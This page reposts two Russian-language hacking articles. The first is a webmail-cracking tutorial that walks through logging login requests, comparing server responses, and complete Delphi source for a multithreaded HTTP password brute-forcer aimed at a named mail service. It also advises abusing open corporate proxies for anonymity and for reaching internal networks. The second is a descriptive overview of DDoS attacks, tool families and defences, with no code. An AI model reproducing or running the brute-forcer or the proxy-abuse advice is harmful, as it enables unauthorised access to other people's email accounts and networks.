Гид на Новака в Клуб Политика ... Прочети първо / Политика, Свят / Политика

:: Взлом e-mail №2

Стандартной программы по взлому мыла с одной кнопкой "Hack it" не бывает. Есть человеческий фактор, который можно использовать. Попытка взлома мыла - это пару часов и чуть-чуть подождать. Самый лучший метод - социальная инженерия. Писать письма с определенным сообщением, с атачами, подходящими под это сообщение. А не так, как мне один виры уже 2 месяца шлет. Размер - 130 кило. Без комментариев. Задолбался уже в диспечере писем на кнопку "переименовать и удалить" жать, а поставщику его инет услуг написать облом. Скажу сразу обо всех описанных способах - если сразу не получилось, то lim(100)% уже и не получится. Только трата времени и инет-ресурсов. Это были основные выводы по мылу. Эти статьи предоставляют интерес (по моему мнению) с точки зрения исследований и приемов кодинга. А что таким образом исследовать и сканировать - умный человек найдет. Это основные выводы по статьям. Продолжим.
HTTP - сервис.

Восьмидесятый порт (чаще всего). Для написания проги, нам понадобятся дополнительные инструменты для ведения логов некоторых запросов. Это port-mapper или tcp-logger. Программы, способные вести лог запросов по выбранному протоколу. Почему не сниффер? Потому, что забивать гвозди микроскопом не удобно. Для прослушки порта можно взять xspider, по port-mapper есть хорошая статья на www.uinc.ru/index.html, tcp-logger с исходниками можно взять там же. Tcp-logger - это как бы локальный прокси (в броузере надо вписать в поле прокси наш адрес и порт, на котором стоит прога), который получает пакеты от клиента, записывает их в лог и отсылает другому прокси в цепочке. Тот запрашивает сервер и возвращает ответы нам. Тcp-logger получает их, опять пишет лог и передает клиенту. Как и обещал, будем исследовать mail.xakep.ru. Заходим броузером. Видим поля для ввода имени и пароля. Естественно, после ввода данных, будет сформирован и отослан url, содержащий эти данные. Включаем tcp-logger. Вот лог запроса на вход:

GET http://mail.xakep.ru/cgi-bin/mail?username=USER&domain= xakep.ru&password=PASSWORD&submit= %C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/pdf, */*
Accept-Language: ru
User-Agent: Mozilla/9.0 (compatible; MSIE 9.0; Windows NT 8.0; qwerty)
Host: mail.xakep.ru
Proxy-Connection: Keep-Alive

Для сканера-брутфорсера, нам нужно найти отличие ответов сервера на правильный пароль и не правильный. Для этого надо их ввести. На правильный пароль ответ:

HTTP/1.0 200 OK
Date: Fue, 32 May 2002 08:11:01 GMT
Server: Apache
Cache-Control: no-store
Content-Language: en-us
Pragma: no-cache
Vary: Accept-Language
Content-Type: text/html; charset=windows-1251
X-Cache: MISS from proxy.proxy.proxy
Proxy-Connection: close

...

Вот лог ответа на неправильный пароль:

HTTP/1.0 200 OK
Date: Fue, 32 May 2002 08:11:58 GMT
Server: Apache
Cache-Control: no-store
Content-Language: en-us
Pragma: no-cache
Vary: Accept-Language
Content-Type: text/html; charset=windows-1251
X-Cache: MISS from proxy.proxy.proxy
Proxy-Connection: close

...

Таким образом, для того, чтобы сравнить отличие ответов, надо получить всего около 300 байт (в неправильном пароле есть , в правильном его нет). Брутфорсер будет очень похож на cgi-scaner и брутфорсер для запароленных ресурсов, с одной только разницей, что сравнивать мы будем не первые строки с ответом 200 или 500, а несколько больший кусок данных. По сравнению с брутфорсом для POP3, этот имеет ряд преимуществ:

1) Не надо на каждый запрос инициализировать сокет. Разрыв соединения при неправильном пароле не происходит, поэтому его можно инициализировать только на каждый процесс.

2) Надо послать один запрос и получить один ответ, а не три.

3) Можно использовать стандартный прокси.

Итак, Опять делаем новое приложение, новое окно, кнопку и ProgreesBar. Вот исходники HTTP-брутфорсера:

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;
type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

// Описание процесса
type
TScan = class(TThread)
sock2 : TSocket;
addr:TSockAddrIn;
WSAData : TWSAData;
private
procedure CScan;
protected
procedure Execute; override;
end;

var
Form1: TForm1;
// Массив процессов
Sock : array[1..255] of TScan;
Rez : boolean = false;
// Кол-во запущенных процессов на данный момент
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringGrid-ы с паролями и с логом
PassList, DopList1 : TStringList;

const
FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
ProcCount = 10; // кол-во процессов
// Адрес прокси через который будет сканирование.
// Лучше отпинговать сначала
HTTPserv = 'proxy.address.net';
User = 'USER';

implementation
// Для преобразование имени
type
TaPInAddr = array [0..255] of PInAddr;
PaPInAddr = ^TaPInAddr;
{R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
DopList1:=TStringList.Create;
end;
// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
var
J0 : Integer;
begin
if Rez then begin
Rez:=false;
for J0:=1 to I0 do
try Sock[J0].Terminate; except end;
end else begin
// Открытие и загрузка файла паролей
try
PassList.Clear;
PassList.LoadFromFile(FilePass);
except end;
if PassList.Count<=0 then begin
Application.MessageBox('Файл паролей не найден или его нельзя использовать','ERROR',mb_Ok);
exit;
end;
Form1.Button1.Caption:='Stop';
Form1.ProgressBar1.Position:=0;
// Кол-во паролей
Form1.ProgressBar1.Max:=PassList.Count;
Application.ProcessMessages;
I:=0;
I0:=1;
Rez:=true;
// Запустить все процессы
while true do begin
Sock[I0]:=TScan.Create(false);
inc(I0); // Подсчитать их кол-во
//Выйти если больше указанного, или стоп, или подобрали
if (I0>ProcCount)or(not Rez) then break;
if I0 mod 100 = 0 then DopList1.Text:=IntToStr(I0);
end;
end;
end;

// Инициализация процесса
procedure TScan.Execute;
var
iaddr, x0 : Integer;
ph : PHostEnt;
pptr : PaPInAddr;
InAddr : TInAddr;
begin
try
// Инициализация сокета
WSAStartUp(257, WSAData);
sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if sock2=INVALID_SOCKET then begin
try closesocket(sock2); except end;
try Terminate; except end;
exit;
end;
// Получение адреса
iaddr := inet_addr(HTTPserv);
if iaddr <=0 then begin
// Если имя, а не IP
ph := gethostbyname(HTTPserv);
if ph = nil then begin
try closesocket(sock2); except end;
try Terminate; except end;
exit;
end;
pptr := PaPInAddr(ph^.h_addr_list);
x0 := 0;
while pptr^[x0] <> nil do begin
InAddr:= pptr^[x0]^;
inc(x0);
addr.sin_addr:=inaddr;
addr.sin_family := AF_INET;
// Порт прокси - 80, 3128, 80808 и т.п.
addr.sin_port := htons(80);
if (connect(sock2, addr, sizeof(addr))) = 0 then break
end;
end else begin
// Если IP
addr.sin_addr.S_addr:=iaddr;
addr.sin_family := AF_INET;
// Порт прокси - 80, 3128, 80808 и т.п.
addr.sin_port := htons(80);
addr.sin_family := AF_INET;
if (connect(sock2, addr, sizeof(addr))) > 0 then begin
try closesocket(sock2); except end;
try Terminate; except end;
exit;
end;
end;
// Запуск цикла
while true do begin
CScan;
if (not Rez)or(I>=PassList.Count) then break;
end;
except end;
dec(I0);
try Terminate; except end;
// Если отмена, закончился список или подобрали
if I0<=1 then begin
Form1.Button1.Caption:='Hack it';
Rez:=false;
Application.ProcessMessages;
DopList1.SaveToFile('log.txt');
end;
end;

// Процедура сканирования
procedure TScan.CScan;
var
x, I2 : Integer;
Buf : String;
begin
I2:=I;
inc(I);
Form1.ProgressBar1.Position:=I2+1;
Application.ProcessMessages;
try
// Формирование url
Buf:='GET http://mail.xakep.ru/cgi-bin/mail?username='+User+'&domain=xakep.ru &password='+PassList.Strings[I2]+'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0';
// Отправка данных
send(sock2,Buf[1],length(Buf),0);
// Получение 300 байт
setlength(Buf,300);
x:=recv(sock2,Buf[1],300,0);
if x<300 then exit;
setlength(Buf,300);
// Если подобрали
if pos(Buf,' Rez:=false;
DopList1.Text:='Pass = '+PassList.Strings[I2];
Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
exit;
end;
except
end;
end;
end.

Такая конструкция будет достаточно быстро работать. Правда, недостаточно быстро для ОЧЕНЬ БОЛЬШИХ файлов с паролями или прямого перебора. Но само описание и приемы подходят не только для мыла, но и для других HTTP-сервисов. Различные чаты, форумы и т.д. и т.п. Он достаточно просто переделывается в cgi-scaner и в брутфорсер перебора пароля на закрытые на сервере ресурсы.

Анонимность.

Прокси. Для HTTP брутфорсера - уже написано. Надо при инициализации сокета, использовать адрес и порт прокси. Для POP3 и прочего: надо юзать SOCKS-прокси. Всю информацию по использованию и настройке можно почитать здесь.

Публичные прокси.

Например, есть некоторая локальная сеть, из которой осуществляется выход в инет. На сервере стоит прокси сервер для того, чтобы все в локалке могли открывать сайты, получать почту и т.д. и т.п. Как это не странно, но очень многие забывают поставить соответствующий доступ к этому прокси. Т.к. практически все такие прокси поддерживают получение почты, телнет, HTTP, то сформировав запрос соответствующим образом, можно делать практически все. Не говоря уже о запуске брутфорсеров и т.п. через этот прокси, можно получать доступ ко всей локальной сетке. Обратным адресом будет адрес сервера с прокси. Об этом мало говорят, но такие сервера есть и их не так и мало. Таким образом, можно применяя технологию спуфинга, получать мыло у прова с уровнем безопасности из первой статьи (получение почты только при выходе в инет через них). В общем, вариантов использования очень много.

Подведем итоги по безопасности.

1. Если пароль на мыло указать не менее 8-ми случайных цифр и больших, маленьких букв, то подобрать пароль практически невозможно. Используя любой из описанных вариантов. Кол-во возможных вариантов ОЧЕНЬ большое. Это же касается и "Забыл пароль". Для параноиков - его можно менять раз в неделю/месяц.

2. Не пользоваться броузером при получении писем. На всякий случай. Или использовать оперу без установленных сервисов поддержки Java.

3. Не отвечать на подозрительные письма. Лучше быть невежливым, чем... Если есть малейшее подозрение, можешь не сомневаться - это атака на мыло.

4. Отключить в e-mail клиенте авто просмотр html и не пользоваться аутглюком. Есть другие предложения на этом рынке. А ему запретить в firewall вообще куда-либо доступ.

5. Хороший firewall, не только со стандартными функциями и ограничением показа баннеров, но и с автоматическим переименованием приатаченных файлов с выбранными расширениями.

6. Нужно почаще получать письма и удалять их на сервере. Даже если пароль подобран, для чтения писем, атакующему придется очень часто их получать и админ рано или поздно это заметит.

Все это бесполезно, при грамотном осуществлении 3-его способа (см. первую статью).

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Breaking the Waves

:: Анатомия DDoS

Одним из самых разрушительных хакерских инструментов в последние годы стали так называемые распределенные атаки "отказ в обслуживании" - DDoS (Distributed Denial of Service).

В последнее время их чаще называют просто DoS-атаками, или распределенными атаками. Особая опасность этих атак - в крайней простоте их организации. При этом злоумышленники обычно не ставят перед собой цель проникновения в защищенную компьютерную систему; их задача - парализовать работу атакуемого web-узла.
Оружие массового

поражения Между тем, это одна из самых молодых хакерских технологий - ее осуществление стало возможно только в связи с действительно повсеместным распространением Интернета и проникновением его в самые разные сферы общественной жизни. Не случайно о DoS-атаках широко заговорили только после того, как в декабре 1999 года при помощи этой технологии были "завалены" web-узлы таких известных корпораций, как Amazon, Yahoo, CNN, eBay, E-Trade и ряда других, немногим менее известных. Хотя первые сообщения о чем-то похожем появились еще в 1996 году, до "рождественского сюрприза" 1999 года DoS-атаки не воспринимались специалистами по компьютерной безопасности как серьезная угроза, исходящая из Сети. Однако спустя год, в декабре 2000-го, все повторилось: web-узлы крупнейших корпораций были атакованы по технологии DDoS, а их системные администраторы вновь не смогли ничего противопоставить злоумышленникам.

Ну а в 2001 году DoS-атаки стали уже обычным делом. Теперь системные администраторы крупных корпораций и государственных web-узлов со страхом ожидают Рождества-2001. По имеющейся информации, хакеры потратили год на существенную модернизацию своего инструментария, а ведь существующие схемы защиты от DoS-атак и без того недостаточно совершенны.

Собственно говоря, DoS-атаки производятся отнюдь не для кражи информации или какого-либо манипулирования ею. Основная их цель - парализовать работу узла-жертвы.

Собственно говоря, это просто сетевой терроризм. Не случайно поэтому американские спецслужбы подозревают, что за многими DoS-атаками на серверы крупных корпораций стоят пресловутые антиглобалисты. Действительно: одно дело швырнуть кирпич в витрину "Макдональдса" где-нибудь в Мадриде или Праге, и совсем уже другое - "завалить" сайт этой суперкорпорации, давно уже ставшей своеобразным символом глобализации мировой экономики.
DoS-атаки опасны еще и тем, что для их развертывания кибертеррористам не требуется обладать какими-то особенными знаниями и умениями.

Сегодняшний уровень развития соответствующего хакерского инструментария таков, что раздобыть и использовать по назначению программы, необходимые для организации и начала DoS-атаки, - дело нескольких часов для человека, более-менее ясно представляющего себе, что такое Интернет и как он функционирует. Все необходимое программное обеспечение вместе с описаниями самой технологии совершенно свободно доступно в Сети. Зато последствия могут быть весьма плачевными - жертва такой атаки может на несколько часов, а порой и дней, лишить своих клиентов привычного сервиса. Наверное, не нужно объяснять, чем это чревато для тех же интернет-СМИ или узлов электронной коммерции. Причем защититься от такой атаки весьма сложно.

Анатомия атаки

В общем случае технология DoS-атаки выглядит следующим образом: на выбранный в качестве мишени web-узел обрушивается шквал ложных запросов со множества компьютеров по всему миру.

В результате обслуживающие узел серверы оказываются парализованы и не могут обслуживать запросы обычных пользователей. При этом пользователи компьютеров, с которых направляются ложные запросы, и не подозревают о том, что их машина тайком используется злоумышленниками. При проведении атаки DDoS множество компьютерных систем одновременно начинает генерировать DoS-атаки, направленные на общую цель. Такое распределение нагрузки по сотням, а то и тысячам систем оказывается одним из самых лучших способов решения задач, требующих интенсивного использования системных ресурсов - а атаки DDoS относятся именно к таким задачам. При этом распределение рабочей нагрузки среди множества систем не только позволяет увеличить разрушительное действие атаки, но и существенно усложняет действия по защите от нее, а также не позволяет выявить истинный адрес атакующего узла.

Первоочередная задача злоумышленников состоит в том, чтобы получить доступ к достаточному числу узлов сети, чтобы разместить на них агентов атаки DDoS (так называемых "зомби"). Поскольку это сугубо подготовительный этап, хакеру неважно, какие узлы будут использоваться для атаки, и он просто перебирает все подряд в поисках наименее защищенных. Найти таковые обычно не составляет большого труда - благо, безалаберных сисадминов на планете достаточно. При этом современные инструментальные средства, созданные и используемые хакерами, по большей части, автоматизируют данную работу, а также организацию и инициализацию атак. Узлы, на которых размещены агенты DoS-атаки, называются "скомпрометированными". Обычно при проведении масштабных DDoS-атак злоумышленниками создается трехуровневая архитектура - так называемый "кластер DDoS". Это иерархическая структура, на самой вершине которой находится одна или несколько управляющих консолей. Управляющая консоль - это, собственно, и есть тот самый компьютер, с которого хакер запускает атаку на систему. Управляющая консоль формирует команды, поступающие на следующий иерархический уровень - уровень главных контроллеров. Их на одну консоль может приходиться от десятка до нескольких сотен - в зависимости от масштабов атаки. Это также скомпрометированные web-узлы, но они не участвуют непосредственно в самой атаке. Каждый контроллер, в свою очередь, координирует действия большого количества (порядка нескольких тысяч) агентов-"зомби" - это уже третий уровень кластера. И уже "зомбированные" узлы берут на себя функции по непосредственному проведению атаки на узел-мишень. Проследить эту систему в обратном направлении практически невозможно. Анализ трафика "жертвы" приведет к узлу-агенту, и даже узел-контроллер становится отыскать непросто, не говоря уже об атакующей консоли. Какими они бывают
Сегодня наиболее часто используются следующие пять разновидностей DoS-атак, для проведения которых существует большое количество программного обеспечения и от которых наиболее тяжело защититься: Smurf - ping-запросы ICMP (Internet Control Message Protocol) по адресу направленной широковещательной рассылки. Используемый в пакетах этого запроса фальшивый адрес источника в результате оказывается мишенью атаки. Системы, получившие направленный широковещательный ping-запрос, отвечают на него и "затапливают" сеть, в которой находится сервер-мишень.

ICMP flood - атака, аналогичная Smurf, только без усиления, создаваемого запросами по направленному широковещательному адресу. UDP flood - отправка на адрес системы-мишени множества пакетов UDP (User Datagram Protocol), что приводит к "связыванию" сетевых ресурсов.

TCP flood - отправка на адрес системы-мишени множества TCP-пакетов, что также приводит к "связыванию" сетевых ресурсов. TCP SYN flood - при проведении такого рода атаки выдается большое количество запросов на инициализацию TCP-соединений с узлом-мишенью, которому, в результате, приходится расходовать все свои ресурсы на то, чтобы отслеживать эти частично открытые соединения.

Специалисты по информационной безопасности выделяют семь основных групп (т.н. "семейств") инструментальных средств для организации DoS-атак. Однако на практике наиболее часто используются средства трех семейств - trinoo, Tribe Flood Network (TFN и TFN2K) и Stacheldracht. Исторически первым средством для организации DoS-атак стало trinoo. Это достаточно примитивная, по современным меркам, разработка, и она способна запускать атаку только вида UDP flood. Причем, для взаимодействия главного контроллера и агентов используются нешифрованные протоколы TCP и UDP. Благодаря своей простоте, программы "семейства" trinoo легко обнаруживаются и обезвреживаются современными средствами защиты и не представляют угрозы узлам, владельцы которых заботятся об элементарных мерах безопасности.

Намного более серьезное оружие хакеров - средства организации распределенных атак TFN и TFN2K. Они позволяют одновременно инициировать атаки нескольких типов - Smurf, UDP flood, ICMP flood и TCP SYN flood. Пересылка команд и параметров при этом умело спрятана в передаваемых данных - чтобы не вызвать подозрений у защитного ПО. TFN и TFN2K требуют от хакера намного более высокой квалификации, но и практическая эффективность их намного выше (включая и защиту самого хакера от обнаружения). Представитель новейшего поколения средств организации DoS-атак - Stacheldracht ("колючая проволока"). Этот пакет позволяет организовывать самые различные типы атак и лавины широковещательных ping-запросов. Кроме того, обмен данными между контроллерами и агентами шифруется, а в само ПО встроена функция автомодификации. Защита и предупреждение В случае DoS-атаки трафик, предназначенный для переполнения атакуемой Сети, необходимо "отсекать" у провайдера услуг Интернет, потому что на входе в Сеть сделать это уже будет невозможно - вся полоса пропускания будет занята.

Угрозу DoS-атак можно снизить несколькими способами. Во-первых, необходимо правильно сконфигурировать функции анти-спуфинга на маршрутизаторах и межсетевых экранах. Эти функции должны включать, как минимум, фильтрацию RFC 2827. Если хакер будет не в состоянии замаскировать свою истинную личность, он вряд ли решится на проведение атаки. Во-вторых, необходимо включить и правильно сконфигурировать функции анти-DoS на маршрутизаторах и межсетевых экранах. Эти функции ограничивают число полуоткрытых каналов, не позволяя перегружать систему. Также рекомендуется при угрозе DoS-атаки ограничить объем проходящего по сети некритического трафика. Об этом уже нужно договариваться со своим интернет-провайдером. Обычно в подобных случаях ограничивается объем трафика ICMP, так как он используется сугубо для диагностических целей.

Как уже говорилось, вычислить кибертеррористов, организовавших DoS-атаку, крайне сложно. Это все равно, что искать отправителя письма, в котором неправильно указан обратный адрес. Для защиты от DoS-атак администраторы узлов-мишеней должны тесно сотрудничать со своими интернет-провайдерами, а те, в свою очередь, - с операторами магистральных сетей, таких как Uunet или Sprint. Но и самый надежно защищенный web-узел неспособен выдержать многогигабайтовый трафик. В плане же менеджмента волна DoS-атак служит хорошим стимулом для разработки корпоративных планов быстрого реагирования. Такие планы особенно важны для компаний, занимающихся электронной коммерцией, так как в данном случае доступность их web-узлов - критический фактор.

Breaking the Waves